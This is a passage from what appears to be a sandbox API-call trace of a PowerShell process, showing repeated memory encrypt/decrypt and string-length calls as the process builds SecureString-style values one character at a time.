(in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.027] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫ᦡ躶妚Ά꛹눍") returned 0x20 [0189.027] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫ᦡ躶妚Ά꛹눍") returned 0x20 [0189.027] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.027] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvꑐㄈ땋䡺ຐ") returned 0x20 [0189.027] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.027] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫䂊Įꈴ덕￤팳ເ") returned 0x20 [0189.027] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫䂊Įꈴ덕￤팳ເ") returned 0x20 [0189.027] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.028] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgㄈ땋䡺ຐ") returned 0x20 [0189.028] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.028] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫稜撵ᢌᕖ㫘") returned 0x20 [0189.028] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫稜撵ᢌᕖ㫘") returned 0x20 [0189.028] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.028] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgX땋䡺ຐ") returned 0x20 [0189.028] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.028] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫꠵浦娻ᢿ꫕\㫝≩) returned 0x20 [0189.028] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫꠵浦娻ᢿ꫕\㫝≩) returned 0x20 [0189.028] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.028] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXN䡺ຐ") returned 0x20 [0189.028] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.029] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫斛㘈䫟泃帺텈괫姵") returned 0x20 [0189.029] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫斛㘈䫟泃帺텈괫姵") returned 0x20 [0189.029] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.029] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAຐ") returned 0x20 [0189.029] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.029] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫鿠샖蟯뿳菷㷒蒋") returned 0x20 [0189.029] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫鿠샖蟯뿳菷㷒蒋") returned 0x20 [0189.029] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.029] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH") returned 0x20 [0189.029] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.029] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙") returned 0x20 [0189.030] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙") returned 0x20 [0189.030] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙") returned 0x20 [0189.030] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙") returned 0x28 [0189.030] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.030] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4率醐幂햴ᓛᤢ") returned 0x28 [0189.030] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.030] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙☍〪ஊ稝༜෮숗䈹") returned 0x28 [0189.030] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙☍〪ஊ稝༜෮숗䈹") returned 0x28 [0189.030] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.030] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/醐幂햴ᓛᤢ") returned 0x28 [0189.030] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.031] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙榔 戠叐ʏ逦격儥") returned 0x28 [0189.031] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙榔 戠叐ʏ逦격儥") returned 0x28 [0189.031] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.031] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/E幂햴ᓛᤢ") returned 0x28 [0189.031] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.031] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙褥ʋ印曖戮") returned 0x28 [0189.031] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙褥ʋ印曖戮") returned 0x28 [0189.031] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.031] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ER햴ᓛᤢ") returned 0x28 [0189.031] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.031] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙屹§斜堭櫱亘ഊ") returned 0x28 [0189.032] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙屹§斜堭櫱亘ഊ") returned 0x28 [0189.032] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.032] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERa햴ᓛᤢ") returned 0x28 [0189.032] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.032] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙唴ᝦꀢ검猄ዊ繩") returned 0x28 [0189.032] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙唴ᝦꀢ검猄ዊ繩") returned 0x28 [0189.032] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.032] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGᓛᤢ") returned 0x28 [0189.032] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.032] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙怍┞整\㓟빑摘䥧⋔) returned 0x28 [0189.032] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙怍┞整\㓟빑摘䥧⋔) returned 0x28 [0189.032] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.033] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGsᤢ") returned 0x28 [0189.033] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.033] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙템\ꯝ眥껎뜣곗轱≥) returned 0x28 [0189.033] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙템\ꯝ眥껎뜣곗轱≥) returned 0x28 [0189.033] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.033] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGs/") returned 0x28 [0189.033] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.033] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙") returned 0x28 [0189.034] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙") returned 0x28 [0189.034] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙") returned 0x28 [0189.034] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙") returned 0x30 [0189.034] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.034] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGs/C䤱漢塤藏ꈅ妯哢") returned 0x30 [0189.034] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.034] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙淃໯蔰頔㖑㩄瓽") returned 0x30 [0189.034] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙淃໯蔰頔㖑㩄瓽") returned 0x30 [0189.034] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.035] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGs/CR漢塤藏ꈅ妯哢") returned 0x30 [0189.035] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.073] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙㱪긥緘⇳即ᖱ釘怖") returned 0x30 [0189.073] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙㱪긥緘⇳即ᖱ釘怖") returned 0x30 [0189.073] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.073] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGs/CRA塤藏ꈅ妯哢") returned 0x30 [0189.073] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.073] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙翿轧ຼ꺏괠볊킧u") returned 0x30 [0189.073] SysStringLen (param_1="淞摆䵊쫇∢ꑡꏩﭩῨ쇗໖犓麨醐痙穛岆ẞ뫧̴㬉쎫괊䬒汴揋枨퐙֟熤跳ภᑺ⫝̸駙翿轧ຼ꺏괠볊킧u") returned 0x30 [0189.073] SystemFunction041 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.073] SysStringLen (param_1="SSwTKqYF0OzzLNIsf6Dabe1hgkvgXNAH4/ERaGs/CRA=藏ꈅ妯哢") returned 0x30 [0189.073] SystemFunction040 (in: Memory=0x3da33c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da33c) returned 0x0 [0189.073] EtwEventActivityIdControl () returned 0x0 [0189.074] EtwEventActivityIdControl () returned 0x0 [0189.074] EtwEventActivityIdControl () returned 0x0 [0189.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.075] EtwEventActivityIdControl () returned 0x0 [0189.075] EtwEventActivityIdControl () returned 0x0 [0189.075] EtwEventActivityIdControl () returned 0x0 [0189.076] SysStringLen (param_1="") returned 0x8 [0189.076] SysStringLen (param_1="N") returned 0x8 [0189.076] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.076] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.076] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0189.076] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.076] SysStringLen (param_1="ND") returned 0x8 [0189.076] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.077] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.077] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0189.077] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.077] SysStringLen (param_1="NDZ") returned 0x8 [0189.077] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.077] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0189.077] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0189.077] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.077] SysStringLen (param_1="NDZl") returned 0x8 [0189.077] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.077] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0189.077] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0189.077] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.078] SysStringLen (param_1="NDZlO") returned 0x8 [0189.078] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.078] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0189.078] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0189.078] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.078] SysStringLen (param_1="NDZlOD") returned 0x8 [0189.078] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.078] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0189.078] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0189.078] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.078] SysStringLen (param_1="NDZlODR") returned 0x8 [0189.078] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.078] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0189.079] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0189.079] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.079] SysStringLen (param_1="NDZlODRm") returned 0x8 [0189.079] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0189.079] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.079] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.079] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0189.079] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0189.079] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.079] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0189.079] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0189.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0189.080] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.080] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0189.080] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0189.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0189.080] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.080] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0189.080] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0189.080] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0189.081] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.081] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0189.081] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0189.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0189.081] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.081] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0189.081] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.081] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0189.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0189.082] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.082] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0189.082] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0189.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0189.082] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.082] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0189.082] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0189.082] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0189.083] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.083] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0189.083] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.083] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0189.084] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.084] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0189.084] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.084] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0189.084] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0189.084] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.084] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0189.084] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.084] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0189.085] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0189.085] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.085] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0189.085] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.085] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0189.085] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0189.085] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.085] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0189.085] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.086] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0189.086] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0189.086] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, 